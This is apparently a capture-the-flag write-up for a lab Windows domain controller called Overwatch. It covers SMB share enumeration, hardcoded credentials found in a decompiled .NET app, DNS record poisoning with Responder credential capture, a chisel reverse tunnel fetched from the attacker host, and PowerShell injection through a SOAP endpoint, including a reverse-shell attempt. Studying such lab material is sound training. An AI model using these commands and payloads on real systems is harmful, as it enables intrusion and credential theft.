Overview

Overwatch is a medium Windows box centred around an Active Directory environment. The attack chain involves enumerating a non-standard SMB share containing a custom .NET monitoring application, decompiling the binary to uncover hardcoded SQL credentials and injection vulnerabilities, abusing a MSSQL linked server relationship by poisoning DNS records to intercept credentials via Responder, pivoting through an internal WCF service using chisel port forwarding, and finally exploiting a PowerShell command injection in a SOAP endpoint to exfiltrate the root flag.


Reconnaissance

Confirming the host is up, then running a full service scan:

nmap -sS -Pn -sC -sV -O 10.129.12.52
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP
3389/tcp open  ms-wbt-server Microsoft Terminal Services

This combination of ports is the textbook Active Directory Domain Controller fingerprint: DNS, Kerberos, LDAP, RPC, SMB all together. The RDP certificate confirms the details:

Domain:        overwatch.htb
Computer Name: S200401.overwatch.htb
OS:            Windows Server 2022 (Build 10.0.20348)

We add the domain to our hosts file and move on to SMB enumeration.


SMB Enumeration

smbclient -L //10.129.12.52 -N
ADMIN$     Disk   Remote Admin
C$         Disk   Default share
IPC$       IPC    Remote IPC
NETLOGON   Disk   Logon server share
software$  Disk
SYSVOL     Disk   Logon server share

software$ is non-standard and immediately interesting. Let’s connect and enumerate it:

smbclient //10.129.12.52/software$ -N
smb: \> recurse ON
smb: \> ls

The share contains a Monitoring folder with a custom .NET application: overwatch.exe, its config file overwatch.exe.config, a PDB debug symbol file, and a collection of supporting DLLs including Entity Framework and SQLite. Let’s pull everything down:

smbclient //10.129.12.52/software$ -N -c 'recurse;prompt OFF;mget *'

Static Analysis

Config File

overwatch.exe.config doesn’t contain plaintext credentials, but it does reveal something useful: a WCF service endpoint running internally on port 8000:

http://overwatch.htb:8000/MonitorService

Port 8000 isn’t reachable externally right now. We file it away for later.

Binary Strings

A quick pass with strings on the binary reveals an interesting function name: CheckEdgeHistory. The application is reading Microsoft Edge browser history, which screams credential harvesting.

Decompiling the Binary

To get the full picture we need to decompile the .NET executable. On Linux:

wget https://dot.net/v1/dotnet-install.sh
chmod +x dotnet-install.sh
./dotnet-install.sh --channel 8.0 --install-dir $HOME/.dotnet8

export PATH="$HOME/.dotnet8:$PATH"
export DOTNET_ROOT="$HOME/.dotnet8"

dotnet tool install --global ilspycmd
export PATH="$PATH:$HOME/.dotnet/tools"

ilspycmd overwatch.exe -p -o ./overwatch_src

The decompiled source reveals three critical findings:

Hardcoded SQL credentials in the connection string:

Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;

SQL injection in the event logging function:

"INSERT INTO EventLog (Timestamp, EventType, Details) VALUES (GETDATE(), '" + type + "', '" + detail + "')"

PowerShell command injection in KillProcess():

string scriptContents = "Stop-Process -Name " + processName + " -Force";

processName is passed directly into a PowerShell script with no sanitisation. If we can reach this endpoint, we have code execution.


Credential Validation

Testing the discovered credentials across available services:

netexec smb  10.129.12.52 -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv'
netexec winrm 10.129.12.52 -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv'
netexec rdp  10.129.12.52 -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv'

SMB authenticates and RDP works too, but WinRM is denied. Even with valid credentials, RDP is blocked for this account — it’s a service account with no interactive login permissions.

With valid SMB access, let’s enumerate domain users:

netexec smb 10.129.12.52 -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv' --users | grep -oP '\w+\.\w+' | sort -u > users.txt
echo -e "sqlsvc\nsqlmgmt\nAdministrator" >> users.txt

# Password spray
netexec smb 10.129.12.52 -u users.txt -p 'TI0LKcfHzZw1Vv' --continue-on-success

No password reuse hits. We need to find MSSQL first.


MSSQL Discovery and Linked Server Abuse

The config revealed SQL credentials but the initial scan showed no SQL port. A full port scan reveals it’s running on a non-standard port:

nmap -sV -sC -Pn -p- -T4 10.129.12.52

MSSQL is running on port 6520. Connecting:

mssqlclient.py -windows-auth overwatch.htb/sqlsvc:'TI0LKcfHzZw1Vv'@overwatch.htb -port 6520

Attempting to enable xp_cmdshell fails, but further enumeration reveals something more interesting:

enum_links
S200401\SQLEXPRESS   SQLNCLI   SQL Server   S200401\SQLEXPRESS
SQL07                SQLNCLI   SQL Server   SQL07

There is a linked server called SQL07. This is our attack path. If we can control where SQL07 resolves, we can force the DC to authenticate outbound to us when it tries to connect to the linked server, and intercept those credentials.


DNS Poisoning and Credential Capture

The plan: add a DNS A record for SQL07 pointing at our attack machine, then trigger a query to the linked server. The DC will resolve SQL07 to us, attempt to authenticate, and Responder will capture the credentials in cleartext.

We use bloodyAD to add the malicious DNS record:

git clone https://github.com/CravateRouge/bloodyAD.git
cd bloodyAD
pip install -r requirements.txt

python3 bloodyAD.py --host 10.129.12.52 -d overwatch.htb -u sqlsvc -p 'TI0LKcfHzZw1Vv' add dnsRecord SQL07 10.10.14.45

Verify the record was added:

dig any SQL07.overwatch.htb @10.129.12.52

Now start Responder to intercept the authentication:

sudo responder -I tun0 -wd

In a second terminal, connect to MSSQL and trigger a query to the linked server:

mssqlclient.py 'overwatch.htb/sqlsvc:TI0LKcfHzZw1Vv@10.129.12.52' -port 6520 -windows-auth
SELECT * FROM [SQL07].master.sys.databases;

Responder captures the credentials in cleartext:

[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx

Lateral Movement

With sqlmgmt credentials, WinRM works:

evil-winrm -i 10.129.12.52 -u 'sqlmgmt' -p 'bIhBbzMMnB82yx'

User flag is at C:\Users\sqlmgmt\Desktop\user.txt.

Running WinPEAS doesn’t surface any obvious privilege escalation vectors. But remember that internal WCF service on port 8000 with the KillProcess() injection we found during source analysis? That’s our path to root.


Port Forwarding with Chisel

The monitoring service is only accessible from localhost on the target. We use chisel to tunnel it to our machine.

Download and serve chisel on the attack machine:

wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz -O /tmp/chisel_windows.gz
gunzip /tmp/chisel_windows.gz
mv /tmp/chisel_windows /tmp/chisel.exe

cd /tmp && python3 -m http.server 8080

On the target via evil-winrm:

Invoke-WebRequest -Uri http://10.10.14.45:8080/chisel.exe -OutFile C:\Windows\Temp\chisel.exe

Start the chisel server on our machine:

chisel server -p 9999 --reverse

Connect back from the target:

C:\Windows\Temp\chisel.exe client 10.10.14.45:9999 R:8000:localhost:8000

Now http://localhost:8000/MonitorService is accessible from our attack machine.


SOAP Command Injection

Exploring the Service

Fetching the WSDL to understand the service structure:

curl http://localhost:8000/MonitorService\?singleWsdl -o monitor.wsdl

The WSDL confirms the KillProcess operation we found in the source. Let’s test the injection. Our first attempt passes a base64-encoded PowerShell reverse shell in the processName field:

curl -s -X POST http://localhost:8000/MonitorService \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H "SOAPAction: http://tempuri.org/IMonitoringService/KillProcess" \
  -d '<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <KillProcess xmlns="http://tempuri.org/">
      <processName>a; powershell -e <base64_payload></processName>
    </KillProcess>
  </soap:Body>
</soap:Envelope>'

The response comes back showing the PowerShell help text — we triggered execution but the payload structure was wrong. A second test using & for chaining returns a more telling error:

Stop-Process -Name something.exe & whoami > C:\path\out.txt -Force

This confirms the injected string is being passed directly to Stop-Process -Name. Semicolons work for chaining. File redirection with > doesn’t work here because the service captures output through pipeline.Invoke() and returns it in the SOAP response — file I/O redirection writes to disk instead of the pipeline, so the output never comes back and the file ends up empty.

Exfiltrating the Root Flag

Rather than fighting for a shell, we can abuse the service’s own error handling to read the flag. The decompiled source showed:

<serviceDebug includeExceptionDetailInFaults="True" />
catch (Exception ex)
{
    return "Error: " + ex.Message;
}

The service includes exception details in responses. PowerShell’s throw statement raises an exception with our content as the message, which gets passed back through the catch block and returned in the SOAP response. Clean and elegant.

Payload:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
  <soapenv:Header/>
  <soapenv:Body>
    <tem:KillProcess>
      <tem:processName>dummy; $f=Get-Content C:\Users\Administrator\Desktop\root.txt; throw $f #</tem:processName>
    </tem:KillProcess>
  </soapenv:Body>
</soapenv:Envelope>
curl -X POST -H "Content-Type: text/xml; charset=utf-8" \
  -H "SOAPAction: \"http://tempuri.org/IMonitoringService/KillProcess\"" \
  -d @payload.xml \
  http://127.0.0.1:8000/MonitorService

The root flag comes back in the SOAP error response. Box complete.


Attack Chain Summary

Step Detail
Recon nmap → DC fingerprint, domain overwatch.htb
SMB Anonymous access to software$ → custom .NET app
Decompile ilspycmd → hardcoded creds sqlsvc:TI0LKcfHzZw1Vv, injection flaws
MSSQL Port 6520 (non-standard) → linked server SQL07 discovered
DNS poisoning bloodyAD → add A record for SQL07 pointing to attacker
Credential capture Responder intercepts MSSQL cleartext auth → sqlmgmt:bIhBbzMMnB82yx
Lateral movement evil-winrm as sqlmgmt → user flag
Port forward chisel reverse tunnel → port 8000 accessible locally
SOAP injection KillProcess PowerShell injection via throw exception exfiltration
Root flag C:\Users\Administrator\Desktop\root.txt returned in SOAP response